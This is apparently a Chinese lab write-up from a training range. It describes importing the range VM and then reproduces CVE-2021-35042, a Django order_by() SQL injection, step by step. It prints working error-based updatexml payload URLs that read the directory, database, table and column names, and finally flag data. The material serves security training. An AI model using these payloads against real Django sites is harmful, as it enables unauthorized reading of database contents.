NCNIPC-靶场介绍&&Django SQL注入(CVE-2021-35042)

https://pan.baidu.com/s/1M-kjs2qJG4nBkXAQE8CK7g
提取码: um3q
在这里插入图片描述
下载好靶场后打开虚拟机,左上角
在这里插入图片描述
然后选中.ovf后缀的文件
在这里插入图片描述
选择好存放虚拟机的路径
在这里插入图片描述
点击导入,等待虚拟机ok就可以使用靶机做实训了
在这里插入图片描述
我们这里以CVE-2021-35042为例子带大家操作一下
开启靶机后登录我们我们没有特别声明的靶机

账号都是root,密码都是书中提供的

在这里插入图片描述
进入靶机后输入

ifconfig

在这里插入图片描述
可以看到ip地址为192.168.8.96
然后我们就可以跟着wp去实际操作漏洞训练了。
输入192.168.8.96:8000
在这里插入图片描述

Django SQL注入(CVE-2021-35042)

实验简介

Django是一个开放源代码的Web应用框架,由Python写成。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。

Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,操作者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。

影响版本

Django 3.2

Django 3.1

本实验需要大家提前了解一下SQL注入的基本流程,与XPATH报错注入的基本原理。

实验目的

  • 复现CVE-2021-35042
  • 了解CVE-2021-35042漏洞
  • 了解Django的SQL注入漏洞

实验流程

  • 找到存在SQL注入的漏洞点
  • 利用SQL注入漏洞读取数据库信息

实验环境

靶机地址:http://10.0.0.213:8000/

注:以上地址仅供参考,请以真实实验环境为准

实验工具

  • 浏览器

实验步骤

0x01 准备实验平台
1. 登录平台,进入模块
2. 获得靶机的地址

测试分配到的靶机地址为10.0.0.213,目标端口为8000端口

3. 登录靶机

打开靶机即可开启环境,环境开启后,直接就可以访问,http://靶机ip:8000端口即可看到实验环境,如图表示环境正常。

在这里插入图片描述

0x02 漏洞复现
1.转到列表视图

根据暴露出的路由信息,我们尝试进入vuln此路径下查找信息存在此漏洞的相关信息

http://10.0.0.213:8000/vuln/

我们查看vuln视图下的内容,如下图所示,是按照id值顺序排序的,即很有可能调用了QuerySet.order_by()这个存在漏洞的函数

在这里插入图片描述

2.验证漏洞

添加order=-id到 GET 参数,我们就发现倒序排序,说明传入的-id这个参数真实的起到了作用

http://10.0.0.213:8000/vuln/?order=-id

在这里插入图片描述

发现数据按照id递减排序

3.查询目录信息

我们插入sql语句,因为是报错注入,所以我们使用updatexml函数,我们想要插入的sql语句填写在concat(0x7e,())后面的括号插入语句就好,进行报错查询,select @@basedir的用处就是查询所在目录的位置

?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

在这里插入图片描述

我们得知所在目录为/usr/

4.查询数据库名

接下来开始sql注入的常规流程,从数据库名到数据表,再到数据字段,最后拖出数据,即我们设置的flag

?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

在这里插入图片描述

5.查询数据表名

按照sql注入的流程,已经得知数据库名为cve,那么我们接下来查询得到cve数据库下的数据表,来获得我们想要得到的信息

?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='cve')),1)%23

http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='cve')),1)%23

在这里插入图片描述

6.查询字段名

已经知道了数据表的名字,接下来我们就可以查询,该表下数据的字段名字,为最后一步拿到flag做准备

?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1)%23

http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag')),1)%23

在这里插入图片描述

7.查询flag值,得到flag

已经知道了字段名,那么我们就可以直接使用group_concat来查询得到我们想要得到的flag数据

?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(flag_value) from flag)),1)%23

http://10.0.0.213:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select group_concat(flag_value) from flag)),1)%23

在这里插入图片描述

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅苑安全&学术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值